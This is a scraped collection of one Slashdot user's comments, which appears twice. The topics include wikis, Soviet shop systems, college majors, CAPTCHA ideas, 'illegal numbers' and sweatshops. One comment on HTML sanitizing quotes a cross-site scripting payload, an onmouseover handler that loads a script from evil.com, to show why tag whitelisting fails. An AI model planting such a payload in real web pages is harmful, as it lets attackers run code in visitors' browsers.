Looking at the number of people falling for Nigerian scammers, I'd say that our ability to "estimate risk in an East African village" is not so hot either.:)
Um, yeah. I am one of those "technologists" who cringes when I hear someone say "we are planning to install a wiki," because to me this roughly translates into "we're going to play with it for a couple of months, and then leave it sitting there, because something shinier will come along by then."
Me, I'm left with rotting carcases of abandoned wikis, which get rapidly taken over by free viagra lesbians.
No, this is not a troll post.:) In Soviet Russia, most stores had the following system (and some still do to this day):
1. You find an item that you want to buy. Sometimes it's behind the counter, so you can't really reach it, only ogle it from afar. 2. You go to the cashier's booth and pay for the item. The cashier gives you a check with the sum you paid written on it. 3. You go back to the counter and give the check to the salesperson, who will then give you the item.
Horrible, at least from the point of view of client-friendliness, but pretty effective against shoplifting. No, I'm not at all advocating this system -- hell, if some store tried it in America, they'd be out of business by mid-afternoon. I'm just saying that if big chains are that concerned with theft-prevention, then that's the only relatively effective way to solve the problem.
Look around you and count the percentage of people who are actually working in the same field as their college degree. I honestly doubt that this percentage will be affected much by requiring the students to make a decision when they are 17 instead of when they are 19. I mean, seriously -- how many people in their 30s would trust their own judgment made in late teens?
In fact, in many other countries you have to make a choice by the time you're applying to the university. Shifting it by 2 years doesn't make much difference, if any at all.
Have two lineups of pictures with same objects, but different settings. E.g. have three pictures on the top: a golden delicious apple, a poodle, and a volkswagen. And three at the bottom: a granny green apple, a pug, and a bentley. No need to type anything -- just use radio buttons.
Of course, you'll need more like 10 images, but it's better than language-specific queries.
I work for one of the leading Canadian universities, and we routinely get email like this:
respected sir,
could u please send me ur universty prospetus to me?
It tickles me that such emails almost always start with "respected sir or madam" and then proceed with the worst possible shorthand. The irony is just lost on some people.
I usually go the other way, instead of restricting tags i define a white-list of tags which are useful for formatting reasons such as strong, em, front, etc. this seems to be a much more controllable way.
<strong onmouseover="document.write('<' + 'script s' + 'rc=\"http://evil.com/foo.js\"></script>')">You get the idea</strong>
HTML sanitizing is VERY. HARD. Unless you first run things through tidy, and then manually check all attributes for evil (keeping in mind URL-encoded and unicode-escaped sequences), you WILL FAIL.
You are a lot safer using wiki or REST syntax and converting it to html formatting tags on the back-end. Otherwise you'll be playing a constant game of whack-a-mole.
Yes, a very excellent point. Context. The number is only illegal when you're applying it in illegal manner. I'm not saying that I adhere to the idea of illegal numbers -- I'm just pointing out that the concept is alive and well in modern jurisprudence.
Hence, yes -- the argument is bogus. Sadly, it's a bogus argument with strong legal precedents, and overturning those will be tricky and difficult.
Everything digital is a number
on
Censoring a Number
·
· Score: 4, Insightful
Everything digital is as a number (hence the name "digital").
Circumvention software? A long number. PDFs with classified military information? Long numbers. Child porn? Long numbers. Having those illegal numbers on your hard drive will get you convicted.
So, if you are going to argue that numbers can't be illegal, think about the above examples, and reconsider your arguing strategy -- you will not win that argument with a judge.
Well, it's a lot less clear-cut than that -- not all exploitation leads to better living conditions in the future, as you may destroy all social and/or ecological infrastructure in the region. This happens more often than you think -- we just rarely hear about this, since everyone who can end up leaving the place, and those who can't just, well, die off, and nobody ever hears about destroyed villages or poisoned valleys where nobody can ever live again for 20 years.
However, you are right about one thing -- "don't buy these shoes because they were made in sweat shops for 2 cents a day" rhetoric is often counter-productive, or at least counter-intuitive to many people. If someone voluntarily agrees to work 16 hours a day in a sweat shop making shoes for shitty pay, it's because their prospects otherwise would have been much worse. In the mind of a Westerner, if it wasn't for the mean and nasty Nike forcing the teens to stay in the sweltering building gluing shoes together, they would be running around frolicking in the sun, or hanging out with their friends playing Nintendo. Of course, the reality is that if these kids weren't there, they'd be probably scouring the nearest malaria-infested dump for food morsels, prostituting themselves to tourists, or doing whatever else they must do to just plain survive, all while also figuring out how to take care of their 5 younger siblings.
The reprehensible thing here is that big corporations are taking advantage of these people's conditions to maximize profits, but you would hardly be improving the situation if you forced them to shut down their business and leave altogether.
In much of this world, you really have to think in terms of "what is the lesser evil." Sometimes big corps are the biggest evil, sometimes they are almost charitable in comparison.
Homer: Uh, yeah. I need something that will keep me awake,
alert, and reckless all night long. Clerk: Well, Congress is racing back to Washington to outlaw
these. [puts a bottle of pills on the counter] Homer: [takes bottle] Sold!
[downs most of the pills on the spot] Clerk: Hey, you can't take that many pep pills at once. Homer: No problem, I'll balance it out with a bottle of sleeping
pills. [takes another generous helping of pills] -- "Maximum Homerdrive"
apt-rpm is unmantained, to my knowledge, and lacks some important features, like support for multilib (read: installing both 32- and 64-bit apps on an x86_64). Yum is a better solution for RPM-based distributions than apt-rpm. The only thing yum lacks thus far is a sane gui front-end, and that is being worked on, too.
Don't turn this feature on, then, or buy a different phone. It's not like the government is mandating that this is installed and available on all phones, ever. Sheesh.
Being a nerd, I usually use Wikipedia as a jump-start point to learn more about something I've not yet had a chance to learn. As such, Wikipedia tends to offer excellent cursory examination of the subject, and if the topic ends up being interesting to me, I would then do a more in-depth research available elsewhere on the web, and via my scientific library subscriptions.
Often, I will then go back to the initial Wikipedia article and add/correct the things I have learned. I have found that expressing your newly-acquired knowledge in your own words greatly helps to gain deeper understanding of the subject, and also helps you better remember the facts you have just learned.
I think that, to some people, especially those interested in knowledge for the sake of knowledge, Wikipedia is an excellent medium to play the "check this out, how cool is that?" game.
Slashdot Mirror
Looking at the number of people falling for Nigerian scammers, I'd say that our ability to "estimate risk in an East African village" is not so hot either. :)
Um, yeah. I am one of those "technologists" who cringes when I hear someone say "we are planning to install a wiki," because to me this roughly translates into "we're going to play with it for a couple of months, and then leave it sitting there, because something shinier will come along by then."
Me, I'm left with rotting carcases of abandoned wikis, which get rapidly taken over by free viagra lesbians.
*grumble*
No, I mean for things as cheap and ordinary as shampoo, notepaper, deodorants, etc. Not just high-priced home electronics.
:)
But you're right, I've not been to Sears in a LONG time.
No, this is not a troll post. :) In Soviet Russia, most stores had the following system (and some still do to this day):
1. You find an item that you want to buy. Sometimes it's behind the counter, so you can't really reach it, only ogle it from afar.
2. You go to the cashier's booth and pay for the item. The cashier gives you a check with the sum you paid written on it.
3. You go back to the counter and give the check to the salesperson, who will then give you the item.
Horrible, at least from the point of view of client-friendliness, but pretty effective against shoplifting. No, I'm not at all advocating this system -- hell, if some store tried it in America, they'd be out of business by mid-afternoon. I'm just saying that if big chains are that concerned with theft-prevention, then that's the only relatively effective way to solve the problem.
A humorous story about what would happen if porn had "root kits." (SFW)
Look around you and count the percentage of people who are actually working in the same field as their college degree. I honestly doubt that this percentage will be affected much by requiring the students to make a decision when they are 17 instead of when they are 19. I mean, seriously -- how many people in their 30s would trust their own judgment made in late teens?
In fact, in many other countries you have to make a choice by the time you're applying to the university. Shifting it by 2 years doesn't make much difference, if any at all.
Yes, let's see... women forced to do something that they are frightened of... complete with shrieks, wincing, and hesitation.
Now, let's think of the kinds of people who would pay money to watch that...
Thought so.
Before it's too late! :)
Have two lineups of pictures with same objects, but different settings. E.g. have three pictures on the top: a golden delicious apple, a poodle, and a volkswagen. And three at the bottom: a granny green apple, a pug, and a bentley. No need to type anything -- just use radio buttons.
Of course, you'll need more like 10 images, but it's better than language-specific queries.
No, it is not. It should be:
"Uglier, but cheaper and more functional. And, hey, if it doesn't do what you need, there is always something else."
I work for one of the leading Canadian universities, and we routinely get email like this:
It tickles me that such emails almost always start with "respected sir or madam" and then proceed with the worst possible shorthand. The irony is just lost on some people.
<strong onmouseover="document.write('<' + 'script s' + 'rc=\"http://evil.com/foo.js\"></script>')">You get the idea</strong>
HTML sanitizing is VERY. HARD. Unless you first run things through tidy, and then manually check all attributes for evil (keeping in mind URL-encoded and unicode-escaped sequences), you WILL FAIL.
You are a lot safer using wiki or REST syntax and converting it to html formatting tags on the back-end. Otherwise you'll be playing a constant game of whack-a-mole.
Yes, a very excellent point. Context. The number is only illegal when you're applying it in illegal manner. I'm not saying that I adhere to the idea of illegal numbers -- I'm just pointing out that the concept is alive and well in modern jurisprudence.
Hence, yes -- the argument is bogus. Sadly, it's a bogus argument with strong legal precedents, and overturning those will be tricky and difficult.
Everything digital is as a number (hence the name "digital").
Circumvention software? A long number. PDFs with classified military information? Long numbers. Child porn? Long numbers. Having those illegal numbers on your hard drive will get you convicted.
So, if you are going to argue that numbers can't be illegal, think about the above examples, and reconsider your arguing strategy -- you will not win that argument with a judge.
"The Internet is a series of boobs."
But, alas, falls short of implementing the "Evil Bit."
That's 200 MILLION light-years wide, you dumbasses. :) I'd like to see a galaxy that fits in 200 LY, not to mention a cluster of them.
Well, it's a lot less clear-cut than that -- not all exploitation leads to better living conditions in the future, as you may destroy all social and/or ecological infrastructure in the region. This happens more often than you think -- we just rarely hear about this, since everyone who can end up leaving the place, and those who can't just, well, die off, and nobody ever hears about destroyed villages or poisoned valleys where nobody can ever live again for 20 years.
However, you are right about one thing -- "don't buy these shoes because they were made in sweat shops for 2 cents a day" rhetoric is often counter-productive, or at least counter-intuitive to many people. If someone voluntarily agrees to work 16 hours a day in a sweat shop making shoes for shitty pay, it's because their prospects otherwise would have been much worse. In the mind of a Westerner, if it wasn't for the mean and nasty Nike forcing the teens to stay in the sweltering building gluing shoes together, they would be running around frolicking in the sun, or hanging out with their friends playing Nintendo. Of course, the reality is that if these kids weren't there, they'd be probably scouring the nearest malaria-infested dump for food morsels, prostituting themselves to tourists, or doing whatever else they must do to just plain survive, all while also figuring out how to take care of their 5 younger siblings.
The reprehensible thing here is that big corporations are taking advantage of these people's conditions to maximize profits, but you would hardly be improving the situation if you forced them to shut down their business and leave altogether.
In much of this world, you really have to think in terms of "what is the lesser evil." Sometimes big corps are the biggest evil, sometimes they are almost charitable in comparison.
Homer: Uh, yeah. I need something that will keep me awake,
alert, and reckless all night long.
Clerk: Well, Congress is racing back to Washington to outlaw
these. [puts a bottle of pills on the counter]
Homer: [takes bottle] Sold!
[downs most of the pills on the spot]
Clerk: Hey, you can't take that many pep pills at once.
Homer: No problem, I'll balance it out with a bottle of sleeping
pills. [takes another generous helping of pills]
-- "Maximum Homerdrive"
apt-rpm is unmantained, to my knowledge, and lacks some important features, like support for multilib (read: installing both 32- and 64-bit apps on an x86_64). Yum is a better solution for RPM-based distributions than apt-rpm. The only thing yum lacks thus far is a sane gui front-end, and that is being worked on, too.
There's some very powerful irony in the fact that by clicking on "I feel lucky" you get to "George W Bush".
Don't turn this feature on, then, or buy a different phone. It's not like the government is mandating that this is installed and available on all phones, ever. Sheesh.
Being a nerd, I usually use Wikipedia as a jump-start point to learn more about something I've not yet had a chance to learn. As such, Wikipedia tends to offer excellent cursory examination of the subject, and if the topic ends up being interesting to me, I would then do a more in-depth research available elsewhere on the web, and via my scientific library subscriptions.
Often, I will then go back to the initial Wikipedia article and add/correct the things I have learned. I have found that expressing your newly-acquired knowledge in your own words greatly helps to gain deeper understanding of the subject, and also helps you better remember the facts you have just learned.
I think that, to some people, especially those interested in knowledge for the sake of knowledge, Wikipedia is an excellent medium to play the "check this out, how cool is that?" game.
I will note that the US I-40 goes through the (formerly) Cherokee-owned lands. ...
What was that about the apologists?
> My first chemical engineering professor [...] set me on fire.
:)
Good thing you didn't take any courses in venerial diseases.